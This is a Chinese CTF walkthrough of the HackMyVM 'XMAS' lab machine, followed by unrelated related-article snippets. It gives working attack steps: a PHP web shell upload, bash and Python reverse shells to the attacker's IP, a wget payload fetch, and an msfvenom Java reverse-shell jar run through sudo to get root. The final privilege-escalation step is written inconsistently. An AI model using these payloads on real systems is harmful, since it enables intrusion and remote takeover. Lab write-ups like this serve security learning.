[HackMyVM]靶场 XMAS

kali:192.168.56.104

靶机:192.168.56.126

注意在/etc/hosts 添加 192.168.56.126 christmas.hmv

# cat /etc/hosts                                    
127.0.0.1       localhost
127.0.1.1       kali2
192.168.223.131 dc-2
192.168.223.134 wordy
192.168.56.105 midnight.coffee dev.midnight.coffee
192.168.56.108 adria.hmv
192.168.56.112 redrocks.win
192.168.56.126 christmas.hmv

端口扫描

# nmap 192.168.56.126
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 18:16 CST
Nmap scan report for christmas.hmv (192.168.56.126)
Host is up (0.00034s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

开了22 80端口

扫一下目录

# gobuster dir -u http://christmas.hmv -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://christmas.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,bak,zip,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/images               (Status: 301) [Size: 315] [--> http://christmas.hmv/images/]
/index.php            (Status: 200) [Size: 22962]
/uploads              (Status: 301) [Size: 316] [--> http://christmas.hmv/uploads/]
/php                  (Status: 301) [Size: 312] [--> http://christmas.hmv/php/]
/css                  (Status: 301) [Size: 312] [--> http://christmas.hmv/css/]
/js                   (Status: 301) [Size: 311] [--> http://christmas.hmv/js/]
/javascript           (Status: 301) [Size: 319] [--> http://christmas.hmv/javascript/]
/fonts                (Status: 301) [Size: 314] [--> http://christmas.hmv/fonts/]

通过目录扫面可以初步判断有文件上传

看web

web往下滑看到文件上传点

随便传个php发现没有过滤

<?=`$_GET[0]`;

反弹shell

http://christmas.hmv/uploads/shell2.php?0=bash -c 'bash -i >%26 %2Fdev%2Ftcp%2F192.168.56.104%2F4567%20 0>%261'
# nc -lvnp 4567      
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.126] 55154
bash: cannot set terminal process group (668): Inappropriate ioctl for device
bash: no job control in this shell
www-data@xmas:/var/www/christmas.hmv/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@xmas:/var/www/christmas.hmv/uploads$ 

pspy64扫一下

www-data@xmas:/var/www/christmas.hmv/uploads$ wget http://192.168.56.104:6677/pspy64
www-data@xmas:/var/www/christmas.hmv/uploads$ chmod +x pspy64
www-data@xmas:/var/www/christmas.hmv/uploads$ ./pspy64
2024/03/22 10:22:47 CMD: UID=1000 PID=25019  | /bin/bash 
2024/03/22 10:22:47 CMD: UID=1000 PID=25018  | /usr/bin/python3 /opt/NiceOrNaughty/nice_or_naughty.py 
2024/03/22 10:22:47 CMD: UID=1000 PID=25017  | /bin/sh -c /usr/bin/python3 /opt/NiceOrNaughty/nice_or_naughty.py 
2024/03/22 10:22:47 CMD: UID=0    PID=25016  | /usr/sbin/CRON -f -P 
2024/03/22 10:22:47 CMD: UID=0    PID=25     | 
2024/03/22 10:22:47 CMD: UID=33   PID=24996  | /bin/bash 
2024/03/22 10:22:47 CMD: UID=33   PID=24995  | sh -c /bin/bash 
2024/03/22 10:22:47 CMD: UID=33   PID=24994  | /usr/bin/script -qc /bin/bash /dev/null 
2024/03/22 10:22:47 CMD: UID=33   PID=24980  | /bin/bash 
2024/03/22 10:22:47 CMD: UID=33   PID=24979  | sh -c /bin/bash 
2024/03/22 10:22:47 CMD: UID=33   PID=24978  | /usr/bin/script -qc /bin/bash /dev/null 
2024/03/22 10:22:47 CMD: UID=0    PID=24694  | 
2024/03/22 10:22:47 CMD: UID=0    PID=24693  | 
2024/03/22 10:22:47 CMD: UID=33   PID=24590  | bash -i 
2024/03/22 10:22:47 CMD: UID=33   PID=24589  | bash -c bash -i >& /dev/tcp/192.168.56.104/4567  0>&1 
2024/03/22 10:22:47 CMD: UID=33   PID=24588  | sh -c bash -c 'bash -i >& 
....
2024/03/22 10:22:47 CMD: UID=0    PID=1      | /sbin/init 
2024/03/22 10:23:36 CMD: UID=0    PID=25227  | 
2024/03/22 10:24:01 CMD: UID=0    PID=25228  | /usr/sbin/CRON -f -P 
2024/03/22 10:24:01 CMD: UID=1000 PID=25229  | /bin/sh -c /usr/bin/python3 /opt/NiceOrNaughty/nice_or_naughty.py 
2024/03/22 10:24:01 CMD: UID=1000 PID=25230  | /usr/bin/python3 /opt/NiceOrNaughty/nice_or_naughty.py 

发现会定时执行一个python脚本/opt/NiceOrNaughty/nice_or_naughty.py 

www-data@xmas:/var/www/christmas.hmv/uploads$ ls -al /opt/NiceOrNaughty/nice_or_naughty.py 
<oads$ ls -al /opt/NiceOrNaughty/nice_or_naughty.py 
-rwxrwxrw- 1 root root 216 Mar 22 10:03 /opt/NiceOrNaughty/nice_or_naughty.py

这个py文件是可以修改的,那么直接改成反弹shell

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.104",4567));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >/opt/NiceOrNaughty/nice_or_naughty.py

kali开个监听然后登就行了

# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.126] 53012
alabaster@xmas:~$ ls -al
ls -al
total 60
drwxr-x--- 7 alabaster alabaster 4096 Nov 20 18:43 .
drwxr-xr-x 9 root      root      4096 Nov 19 22:29 ..
-rw------- 1 alabaster alabaster  791 Nov 20 19:28 .bash_history
-rw-r--r-- 1 alabaster alabaster  220 Jan  7  2023 .bash_logout
-rw-r--r-- 1 alabaster alabaster 3771 Jan  7  2023 .bashrc
drwx------ 3 alabaster alabaster 4096 Nov 19 11:07 .cache
drwxrwxr-x 4 alabaster alabaster 4096 Nov 19 11:08 .local
-rw-rw-r-- 1 alabaster alabaster   46 Mar 22 10:02 naughty_list.txt
-rw-rw-r-- 1 alabaster alabaster   13 Mar 22 10:02 nice_list.txt
drwxrwxr-x 2 alabaster alabaster 4096 Nov 19 21:50 NiceOrNaughty
-rw-r--r-- 1 alabaster alabaster  807 Jan  7  2023 .profile
drwxrwxr-x 2 alabaster alabaster 4096 Nov 20 18:45 PublishList
-rw-rw-r-- 1 alabaster alabaster   66 Nov 19 21:43 .selected_editor
drwx------ 2 alabaster alabaster 4096 Nov 17 17:32 .ssh
-rw-r--r-- 1 alabaster alabaster    0 Nov 17 17:34 .sudo_as_admin_successful
-rw-rw---- 1 alabaster alabaster  849 Nov 19 09:08 user.txt
alabaster@xmas:~$ cat user.txt
cat user.txt
    ||::|:||   .--------,
    |:||:|:|   |_______ /        .-.
    ||::|:|| ."`  ___  `".    {\('v')/}
    \\\/\///:  .'`   `'.  ;____`(   )'___________________________
     \====/ './  o   o  \|~     ^" "^                          //
      \\//   |   ())) .  |   Merry Christmas!                   \
       ||     \ `.__.'  /|                                     //
       ||   _{``-.___.-'\|   Flag: HMV{7bMJ6js7guhQadYDTmBt}    \
       || _." `-.____.-'`|    ___                              //
       ||`        __ \   |___/   \______________________________\
     ."||        (__) \    \|     /
    /   `\/       __   vvvvv'\___/
    |     |      (__)        |
     \___/\                 /
       ||  |     .___.     |
       ||  |       |       |
       ||.-'       |       '-.
       ||          |          )
       ||----------'---------'

弹回来的是alabaster用户的权限并且拿到user flag

sudo -l发现可以提权

alabaster@xmas:~$ sudo -l
sudo -l
Matching Defaults entries for alabaster on xmas:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User alabaster may run the following commands on xmas:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /usr/bin/java -jar
        /home/alabaster/PublishList/PublishList.jar

可以用root权限执行 /usr/bin/java /home/alabaster/PublishList/PublishList.jar

并且这个jar是alabaster用户的,我们可以自己重写一个jar反弹用来反弹shell

alabaster@xmas:~$ ls -al /home/alabaster/PublishList/PublishList.jar
ls -al /home/alabaster/PublishList/PublishList.jar
-rwxrwxr-x 1 alabaster alabaster 7505 Mar 22 10:09 /home/alabaster/PublishList/PublishList.jar

用kali生成

msfvenom -p java/shell_reverse_tcp LHOST=192.168.56.104 LPORT=4567 -f jar -o shell.jar

传到靶机上

labaster@xmas:~$ wget http://192.168.56.104:6677/shell.jar
alabaster@xmas:~$ chmod +x shell.jar
alabaster@xmas:~$ sudo /usr/bin/java -jar /home/alabaster/PublishList/PublishList.jar

成功提权

# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.126] 48214
id
uid=0(root) gid=0(root) groups=0(root)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/479761.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【嵌入式开发 Linux 常用命令系列 4.3 -- git add 时单独排除某个目录或者文件】

文章目录 git add 时单独排除某个目录或者文件使用 .gitignore 文件使用命令行排除文件或目录 git add 时单独排除某个目录或者文件 在使用 git add 命令时&#xff0c;如果你想要排除特定的目录或文件&#xff0c;可以使用 .gitignore 文件或使用路径规范来指定不想添加的文件…

智能T0算法交易促进年化收益

T0交易越来越得到普及&#xff0c;越来越多的人在关注T0交易。按照交易主体来看&#xff0c;一种是人工T0交易&#xff0c;另一种是自动化智能T0算法交易。人工T0交易会受制于操作员的计算能力、反应速度以及主观判断等因素的影响&#xff0c;稳定性不如智能自动化T0算法交易。…

搭建自己的博客-拾壹博客

写在前面 唠叨两句 作为一个技术开发人员&#xff0c;没有一个自己的博客&#xff0c;人生注定缺少点什么东西&#xff0c;是不是&#xff1f;最近研究了一些博客搭建&#xff0c;本文是使用开源项目”拾壹博客“进行搭建。 推荐等级 所需技术难度&#xff1a;4星 后续自定义…

GPU云服务器与自建GPU服务器的对比

GPU云服务器是一种基于GPU的计算服务&#xff0c;广泛应用于深度学习、图形图像处理和科学计算等领域。其快速、稳定、灵活的特点使其备受青睐。与标准的CVM云服务器一样&#xff0c;GPU云服务器提供方便快捷的管理方式&#xff0c;通过其强大的计算性能&#xff0c;能够快速处…

直播行业网络安全建设

一、引言 直播行业近年来蓬勃发展&#xff0c;吸引了大量用户和资本的关注。然而&#xff0c;随着行业的壮大&#xff0c;网络安全问题也日益凸显。构建一个安全、稳定的直播行业网络对于保障用户权益、维护行业秩序具有重要意义。本文将详细探讨直播行业安全网络的构建与保障…

zookeeper分布式锁原理剖析

在ZooKeeper的CLI中&#xff0c;create命令用于在指定路径上创建一个新的节点。以下是create命令的参数解释&#xff1a; -s&#xff1a;顺序节点标志。如果指定了该选项&#xff0c;则创建的节点将是顺序节点。顺序节点的名称将以“path”后跟一个连字符和递增的数字序列结尾…

基于python+vue食品安全信息管理系统flask-django-nodejs-php

食品安全信息管理系统设计的目的是为用户提供食品信息、科普专栏、食品检测、检测结果、交流论坛等方面的平台。 与PC端应用程序相比&#xff0c;食品安全信息管理系统的设计主要面向于用户&#xff0c;旨在为管理员和用户提供一个食品安全信息管理系统。用户可以通过APP及时查…

在面对一个大型的代码,需要分文件编写的时候,应该怎么办呢;以及在编写出一个功能时,有人想要买这个功能,怎么在不给出源代码的情况下让买家可以使用这个代码功能呢?

我们一点点来&#xff0c;首先&#xff0c;假设我们要写一个加法功能的实现&#xff0c; 这里是在单个文件里调用函数&#xff0c;实现一个加法的功能&#xff0c; 下面我们把自定义函数放在下面&#xff0c;上面对自定义函数进行一个声明&#xff0c; 下面我们把代码放到多个…

httprunner4详解

httpruuner官方文档:https://httprunner.com/docs/introduction/overview/ 案例1:使用电商开源项目演示: 项目地址:https://github.com/macrozheng/mall 案例2:使用erp2项目演示: 开源项目:http://erp2.hzb-it.com/ 1.Httprunner环境搭建 HttpRunner v4.0 同时采用…

大数据--hdfs--java编程

环境&#xff1a; virtualbox ubantu1604 Linux idea社区版2023 jdk1.8 hadoop相关依赖 使用java操作 1. 判断/user/stu/input/test.txt文件是否存在&#xff0c;存在则读出文件内容&#xff0c;打印在控制台上。反之&#xff0c;输出“文件不存在”。 package abc;impo…

【JS进阶】第二天

JavaScript 进阶 - 第2天 了解面向对象编程的基础概念及构造函数的作用&#xff0c;体会 JavaScript 一切皆对象的语言特征&#xff0c;掌握常见的对象属性和方法的使用。 了解面向对象编程中的一般概念能够基于构造函数创建对象理解 JavaScript 中一切皆对象的语言特征理解引用…

字节跳动面试被拷打:高效处理大量数据的JavaScript技巧

一、文章内容 时间分片宏任务微任务前置内容实现时间分片 二、时间切片 什么是时间切片&#xff1f;通过字面意思我们不难理解时间切片就是将时间分成多个片段进行一一渲染数据,时间切片是个抽象的问题,我们可能会想到JavaScript中window自带的setTimeout的延迟函数或者是 w…

(附源码)基于Spring Boot和Vue的前后端分离考研资料分享平台的设计与实现

前言 &#x1f497;博主介绍&#xff1a;✌专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f447;&#x1f3fb; 精彩专栏 推荐订阅&#x1f447;&#x1f3fb; 2024年Java精品实战案例《100套》 &#x1f345;文末获取源码联系&#x1f345; &#x1f31…

操作符详解(C语言)—第三期

逻辑操作符 逻辑操作符有哪些&#xff1a; && 逻辑与 || 逻辑或区分逻辑与和按位与 区分逻辑或和按位或 1&2----->0 1&&2---->1 1|2----->3 1||2---->1逻辑与和或的特点&#xff1a; 360笔试题 #include <stdio.h&…

乐企数字化电子发票(基础版)开票能力测试报告

能力简介&#xff1a;纳税人销售货物或提供服务时&#xff0c;可以通过本能力开具数电票。 纳税人可将本能力中的各类规则和接口嵌入本单位信息化系统中&#xff08;如&#xff1a;销售、 收款、结算等&#xff09;&#xff0c;实现数电票开具流程和商业行为的融合&#xff0c;…

20240317-2-推荐算法FTRL

FTRL FTRL(Follow the Regularized Leader) 由Google的H. Berendan McMahan 等人于2010年提出【4】,FTRL是一种在线最优化求解算法,结合L1-FOBOS和L1-RDA算法,用于解决在线学习中,权重参数不能产生较好的稀疏性的问题。 由于在线学习涉及内容较多&#xff0c;本文从提升模型稀疏…

吴恩达深度学习笔记:浅层神经网络(Shallow neural networks)3.1-3.5

目录 第一门课&#xff1a;神经网络和深度学习 (Neural Networks and Deep Learning)第三周&#xff1a;浅层神经网络(Shallow neural networks)3.1 神经网络概述&#xff08;Neural Network Overview&#xff09; 第一门课&#xff1a;神经网络和深度学习 (Neural Networks an…

【数据结构与算法】算法复杂度

一、什么是复杂度&#xff1f; 程序执行时需要的计算量和内存空间&#xff0c;其中计算量是指时间复杂度&#xff0c;计算量大则需要时间久&#xff1b;内存空间是指空间复杂度和代码是否简洁无关&#xff0c;而是指计算机的cpu和内存计算复杂程度。 复杂度是数量级&#xff0…

Day43:WEB攻防-PHP应用SQL注入符号拼接请求方法HTTP头JSON编码类

目录 PHP-MYSQL-数据请求类型 PHP-MYSQL-数据请求方法 PHP-MYSQL-数据请求格式 知识点&#xff1a; 1、PHP-MYSQL-SQL注入-数据请求类型 2、PHP-MYSQL-SQL注入-数据请求方法 3、PHP-MYSQL-SQL注入-数据请求格式 PHP-MYSQL-数据请求类型 SQL语句由于在黑盒中是无法预知写法的…

Java代码基础算法练习-求给定范围内所有数之和-2024.03.22

任务描述&#xff1a; 输入两个整数n和 m(0<n<m<20)&#xff0c;求此范围内所有数据之和。(包括n和m) 任务要求&#xff1a; 代码示例&#xff1a; package march0317_0331;import java.util.Scanner;/*** 计算两个整数之间&#xff08;包括这两个整数&#xff09;所…